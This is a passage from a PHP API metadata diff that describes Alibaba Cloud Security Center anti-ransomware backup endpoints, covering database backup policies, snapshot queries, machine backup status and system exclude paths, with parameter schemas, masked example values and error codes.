'InstanceUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复目标服务器数据库备份客户端唯一标识。'."\n" + .'>调用[DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ac457b30598d11ed800000163e02****', + ], + ], + [ + 'name' => 'ResetTime', + 'in' => 'query', + 'schema' => [ + 'description' => '针对Oracle数据库查询备份时，对应查询可恢复的时间点中所选择记录的**reset_time**值。'."\n" + .'>调用[DescribeUniRecoverableList](~~DescribeUniRecoverableList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-10-29 01:06:24', + ], + ], + [ + 'name' => 'ResetScn', + 'in' => 'query', + 'schema' => [ + 'description' => '针对Oracle数据库查询备份时，对应查询可恢复的时间点中所选择记录的**reset_scn**值。'."\n" + .'>调用[DescribeUniRecoverableList](~~DescribeUniRecoverableList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '925702.0', + ], + ], + [ + 'name' => 'RestoreInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复数据库类型为MSSQL时，数据库恢复信息。格式为JSON字符串格式，取值：'."\n" + .'- **name**：数据库名称'."\n" + .'- **files**：数据库文件路径'."\n" + .'>调用[DescribeUniRecoverableList](~~DescribeUniRecoverableList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '{"files": {"qtc":"F:\\\\database\\\\qtc.mdf","qtc_log":"F:\\\\database\\\\qtc_0.ldf"},'."\n" + .'"name":"qtc"}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', + 'title' => '创建数据库防勒索还原计划任务', + ], + 'CreateUniBackupPolicy' => [ + 'summary' => '创建数据库勒索病毒防护策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91941', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyName', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份策略的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'mysql-policy', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => 'ECS实例的ID。'."\n" + .'>调用[DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'i-bp1fu4aqltf1huhc****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索所备份服务器的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '045cad48-eb08-4047-a70c-713aec7b****', + ], + ], + [ + 'name' => 'DatabaseType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **ORACLE**'."\n" + .'- **MSSQL**', + 'type' => 'string', + 'required' => true, + 'example' => 'MYSQL', + ], + ], + [ + 'name' => 'Retention', + 'in' => 'query', + 'schema' => [ + 'description' => '备份保留天数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '7', + ], + ], + [ + 'name' => 'SpeedLimiter', + 'in' => 'query', + 'schema' => [ + 'description' => '备份网络带宽限制。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '5242880', + ], + ], + [ + 'name' => 'AccountName', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库账户名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'admin', + ], + ], + [ + 'name' => 'AccountPassword', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库账户密码。', + 'type' => 'string', + 'required' => false, + 'example' => 'Pass****', + ], + ], + [ + 'name' => 'DatabaseAddByUser', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库是否用户添加。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'string', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'UniRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '备份策略防护的服务器所在的地域。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'FullPlan', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '全量备份策略。格式为JSON格式。包含以下字段：'."\n" + ."\n" + .'- **start**：备份开始时间'."\n" + .'- **interval**：间隔周期'."\n" + .'- **type**：间隔周期单位'."\n" + .'- **days**：周中执行日期', + 'type' => 'object', + 'required' => true, + 'example' => '{"days":[4],"interval":1,"planType":"weekly","startTime":"22:00:00"}', + ], + ], + [ + 'name' => 'IncPlan', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '增量备份策略。格式为JSON格式。包含以下字段：'."\n" + .'- **start**：备份开始时间'."\n" + .'- **interval**：间隔周期'."\n" + .'- **type**：间隔周期单位'."\n" + .'- **days**：周中执行日期', + 'type' => 'object', + 'required' => true, + 'example' => '{"interval":1,"planType":"daily","startTime":"23:30:00"}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2FAEB7D0-C0B9-581C-877A-F80F50AA****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'FailedToActivateUniBackupInstance', + 'errorMessage' => 'Failed to activate unbackup instance.', + ], + [ + 'errorCode' => 'AntiRansomwareCapacityUseUp', + 'errorMessage' => 'anti ransomware capacity use up', + ], + [ + 'errorCode' => 'DatabaseTypeNotSupport', + 'errorMessage' => 'Database type not supported.', + ], + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2FAEB7D0-C0B9-581C-877A-F80F50AA****\\"\\n}","type":"json"}]', + 'title' => '创建数据库防勒索策略', + ], + 'DescribeSnapshots' => [ + 'summary' => '查询防勒索备份快照信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'>调用[DescribeBackupPolicy](~~DescribeBackupPolicy~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '061d8042-59ff-416e-bc33-294a1cf5****', + ], + ], + [ + 'name' => 'MachineRegion', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。'."\n" + ."\n" + .'> 如果未指定参数Uuid，则该参数需必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'us-east-1', + ], + ], + [ + 'name' => 'MachineRemark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '可恢复快照状态列表。取值：'."\n" + .'- **COMPLETE**：已完成'."\n" + .'- **PARTIAL_COMPLETE**：备份部分成功', + 'type' => 'string', + 'required' => false, + 'example' => '["COMPLETE"]', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAB4SwmEAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM0NzY3YTZjNjI3NjZmNmU3MjcxNjk3NDY5MzY3MjY4****', + ], + ], + [ + 'name' => 'ApiVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。取值：'."\n" + ."\n" + .'- **1.0.0**：表示防护策略的版本为1.0.0'."\n" + .'- **2.0.0**：表示防护策略的版本为2.0.0', + 'type' => 'string', + 'required' => true, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'IsAliYunEcs', + 'in' => 'query', + 'schema' => [ + 'description' => '是否阿里云ECS主机。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'string', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '查询下一页使用的token。', + 'type' => 'string', + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4****', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的备份快照信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的备份快照信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '当前页面显示的备份快照信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Snapshots' => [ + 'description' => '快照列表。', + 'type' => 'array', + 'items' => [ + 'description' => '快照信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '备份快照任务的状态。取值范围：'."\n" + ."\n" + .'- **COMPLETE**：成功'."\n" + .'- **PARTIAL_COMPLETE**：部分成功'."\n" + .'- **FAILED**：失败', + 'type' => 'string', + 'example' => 'COMPLETE', + ], + 'SnapshotHash' => [ + 'description' => '快照HASH值。', + 'type' => 'string', + 'example' => '9ee47cf12351e4ddecce8c12f4957d3946cd96fbe24cd4ab264c7200839d****', + ], + 'ActualItems' => [ + 'description' => '快照实际项目数。'."\n" + ."\n" + .'> 目前仅文件备份可用。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'VaultId' => [ + 'description' => '保存备份库快照的仓库ID。', + 'type' => 'string', + 'example' => 'v-000ccok3zmw7fbzz****', + ], + 'ActualBytes' => [ + 'description' => '去重后快照实际数据量。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '686188****', + ], + 'SourceType' => [ + 'description' => '数据源类型。取值范围：'."\n" + ."\n" + .'- **ECS_FILE**：ECS文件的备份快照。'."\n" + .'- **OSS**：阿里云OSS的备份快照。'."\n" + .'- **NAS**：阿里云NAS的备份快照。'."\n" + .'- **OTS_TABLE**：阿里云表格存储的备份快照。', + 'type' => 'string', + 'example' => 'ECS_FILE', + ], + 'ClientId' => [ + 'description' => '仅当**SourceType**取值为**ECS_FILE**时，该参数有效。表示备份客户端ID。', + 'type' => 'string', + 'example' => 'c-000dbefaw9f7gnbw****', + ], + 'ItemsDone' => [ + 'description' => '备份项目数。'."\n" + ."\n" + .'> 目前仅文件备份可用。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '6', + ], + 'BytesTotal' => [ + 'description' => '数据源总量。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3484541815****', + ], + 'Retention' => [ + 'description' => '备份快照保留天数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7', + ], + 'CreatedTime' => [ + 'description' => '备份快照的创建时间。UNIX时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1646793988', + ], + 'ParentSnapshotHash' => [ + 'description' => '父备份的快照HASH值。', + 'type' => 'string', + 'example' => 'a0181606689c9562f092b3190bddb8a62bb5a24784424ba2102bc7fe92ae****', + ], + 'InstanceId' => [ + 'description' => 'ECS实例ID。', + 'type' => 'string', + 'example' => 'i-2ze78zfakirgh1yl****', + ], + 'PlanId' => [ + 'description' => '备份计划ID。', + 'type' => 'string', + 'example' => 'plan-000ee8gh2ljelsnb****', + ], + 'RegionId' => [ + 'description' => '备份服务地域ID。', + 'type' => 'string', + 'example' => 'us-east-1', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'd332af48-1269-4a55-a6db-8543a80f****', + ], + 'ErrorFile' => [ + 'description' => '记录备份失败信息的文件，包含备份部分完成的信息。', + 'type' => 'string', + 'example' => 's-0008ndhgrflh55i5****.csv', + ], + 'SnapshotId' => [ + 'description' => '快照ID。'."\n" + ."\n", + 'type' => 'string', + 'example' => 's-0003ahfuqpjdztsg****', + ], + 'JobId' => [ + 'description' => '备份任务ID。', + 'type' => 'string', + 'example' => 'job-000a2q5vg6awgo01****', + ], + 'Path' => [ + 'description' => '仅当**SourceType**取值为**ECS_FILE**时，该参数有效。表示备份的文件路径。', + 'type' => 'string', + 'example' => '["/home"]'."\n", + ], + 'ItemsTotal' => [ + 'description' => '数据源项目总数。'."\n" + ."\n" + .'> 目前仅文件备份可用。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7', + ], + 'BytesDone' => [ + 'description' => '增量备份的数据量。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '800', + ], + 'Paths' => [ + 'description' => '仅当**SourceType**取值为**NAS**时，该参数有效。表示备份的文件路径。', + 'type' => 'array', + 'items' => [ + 'description' => '快照的路径信息。', + 'type' => 'string', + 'example' => '/home', + ], + ], + 'ClientVersion' => [ + 'description' => '防勒索客户端版本号。', + 'type' => 'string', + 'example' => '2.10.0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"NextToken\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4****\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 20\\n },\\n \\"Snapshots\\": [\\n {\\n \\"Status\\": \\"COMPLETE\\",\\n \\"SnapshotHash\\": \\"9ee47cf12351e4ddecce8c12f4957d3946cd96fbe24cd4ab264c7200839d****\\",\\n \\"ActualItems\\": 123,\\n \\"VaultId\\": \\"v-000ccok3zmw7fbzz****\\",\\n \\"ActualBytes\\": 0,\\n \\"SourceType\\": \\"ECS_FILE\\",\\n \\"ClientId\\": \\"c-000dbefaw9f7gnbw****\\",\\n \\"ItemsDone\\": 6,\\n \\"BytesTotal\\": 0,\\n \\"Retention\\": 7,\\n \\"CreatedTime\\": 1646793988,\\n \\"ParentSnapshotHash\\": \\"a0181606689c9562f092b3190bddb8a62bb5a24784424ba2102bc7fe92ae****\\",\\n \\"InstanceId\\": \\"i-2ze78zfakirgh1yl****\\",\\n \\"PlanId\\": \\"plan-000ee8gh2ljelsnb****\\",\\n \\"RegionId\\": \\"us-east-1\\",\\n \\"Uuid\\": \\"d332af48-1269-4a55-a6db-8543a80f****\\",\\n \\"ErrorFile\\": \\"s-0008ndhgrflh55i5****.csv\\",\\n \\"SnapshotId\\": \\"s-0003ahfuqpjdztsg****\\",\\n \\"JobId\\": \\"job-000a2q5vg6awgo01****\\",\\n \\"Path\\": \\"[\\\\\\"/home\\\\\\"]\\\\n\\",\\n \\"ItemsTotal\\": 7,\\n \\"BytesDone\\": 800,\\n \\"Paths\\": [\\n \\"/home\\"\\n ],\\n \\"ClientVersion\\": \\"2.10.0\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询快照信息', + ], + 'DescribeBackupMachineStatus' => [ + 'summary' => '查询防勒索备份策略的服务器备份状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份策略的ID。'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'>调用[DescribeBackupPolicy](~~DescribeBackupPolicy~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', + ], + ], + [ + 'name' => 'PolicyVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '防护策略的版本。取值：'."\n" + ."\n" + .'- **1.0.0**：表示防护策略的版本为1.0.0'."\n" + .'- **2.0.0**：表示防护策略的版本为2.0.0', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'BackupMachineStatus' => [ + 'description' => '服务器备份状态。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '防勒索客户端状态。取值：'."\n" + .'- **NOT_INSTALLED**：未安装'."\n" + .'- **CLIENT\\_CONNECTION\\_ERROR**：客户端状态异常'."\n" + .'- **ACTIVATED**：正常', + 'type' => 'string', + 'example' => 'ACTIVATED', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'eb2c782e-64f2-4590-a86c-d90164df****', + ], + 'VaultId' => [ + 'description' => '备份数据存入的仓库的ID。', + 'type' => 'string', + 'example' => 'v-0005i2qh5fcr6seo****', + ], + 'ErrorCode' => [ + 'description' => '异常状态返回的错误码。', + 'type' => 'string', + 'example' => 'CLIENT_CONNECTION_ERROR', + ], + 'SavedBackupCount' => [ + 'description' => '可恢复版本数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-2zeaqkb80vloxjcj****', + ], + 'ClientStatus' => [ + 'description' => '服务状态。取值：'."\n" + ."\n" + .'- **ONLINE**：状态正常'."\n" + .'- **CLIENT\\_CONNECTION\\_ERROR**：客户端连接异常'."\n" + .'- **UNINSTALLING**：卸载中'."\n" + .'- **UNINSTALL\\_FAILED**：卸载失败'."\n" + .'- **UPGRADING**：升级中'."\n" + .'- **UPGRADE\\_FAILED**：升级失败', + 'type' => 'string', + 'example' => 'ONLINE', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shenzhen', + ], + 'ClientVersion' => [ + 'description' => '防勒索客户端版本号。', + 'type' => 'string', + 'example' => '2.11.0', + ], + 'ClientId' => [ + 'description' => '防勒索客户端ID。', + 'type' => 'string', + 'example' => 'c-000dbefaw9f7gnbw****', + ], + 'ErrorList' => [ + 'description' => '备份服务器上报的错误信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '备份服务器上报的错误信息。', + 'type' => 'object', + 'properties' => [ + 'ErrorCode' => [ + 'description' => '错误码。', + 'type' => 'string', + 'example' => 'TARGET_NOT_EXIST', + ], + 'ErrorStatus' => [ + 'description' => '错误状态信息。', + 'type' => 'string', + 'example' => 'FAILED', + ], + ], + ], + ], + 'ServiceStatus' => [ + 'description' => '服务状态。取值：'."\n" + .'- **SERVICE_EXCEPTION**：服务异常'."\n" + .'- **RESTORING**：恢复中'."\n" + .'- **BACKING_UP**：备份中', + 'type' => 'string', + 'example' => 'RESTORING', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"BackupMachineStatus\\": {\\n \\"Status\\": \\"ACTIVATED\\",\\n \\"Uuid\\": \\"eb2c782e-64f2-4590-a86c-d90164df****\\",\\n \\"VaultId\\": \\"v-0005i2qh5fcr6seo****\\",\\n \\"ErrorCode\\": \\"CLIENT_CONNECTION_ERROR\\",\\n \\"SavedBackupCount\\": 7,\\n \\"InstanceId\\": \\"i-2zeaqkb80vloxjcj****\\",\\n \\"ClientStatus\\": \\"ONLINE\\",\\n \\"RegionId\\": \\"cn-shenzhen\\",\\n \\"ClientVersion\\": \\"2.11.0\\",\\n \\"ClientId\\": \\"c-000dbefaw9f7gnbw****\\",\\n \\"ErrorList\\": [\\n {\\n \\"ErrorCode\\": \\"TARGET_NOT_EXIST\\",\\n \\"ErrorStatus\\": \\"FAILED\\"\\n }\\n ],\\n \\"ServiceStatus\\": \\"RESTORING\\"\\n }\\n}","type":"json"}]', + 'title' => '查询备份机器状态', + ], + 'UpgradeBackupPolicyVersion' => [ + 'summary' => '升级防勒索备份策略版本。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas79LA3S', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索防护策略的ID。'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F5B8057-3E44-54DC-AC89-6814A4CD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9F5B8057-3E44-54DC-AC89-6814A4CD****\\"\\n}","type":"json"}]', + 'title' => '升级防勒索备份策略版本', + ], + 'DescribeExcludeSystemPath' => [ + 'summary' => '查询防勒索系统排除目录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92072', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '200', + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6****', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的系统排除目录的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的系统排除目录的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + 'Count' => [ + 'description' => '当前页面显示的系统排除目录的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'ExcludePaths' => [ + 'description' => '系统排除目录列表。', + 'type' => 'array', + 'items' => [ + 'description' => '系统排除目录信息。', + 'type' => 'object', + 'properties' => [ + 'Path' => [ + 'description' => '目录的绝对路径。', + 'type' => 'string', + 'example' => '/bin/', + ], + 'Os' => [ + 'description' => '服务器的操作系统。取值：'."\n" + .'- **linux**：Linux。'."\n" + .'- **windows**：Windows。', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"ExcludePaths\\": [\\n {\\n \\"Path\\": \\"/bin/\\",\\n \\"Os\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防勒索系统排除目录', + ], + 'DescribeBackupPolicy' => [ + 'summary' => '查询服务器防勒索防护策略详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份策略ID。'."\n" + .'>调用[DescribeBackupPolicies](~~DescribeBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '51880', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '策略详情返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 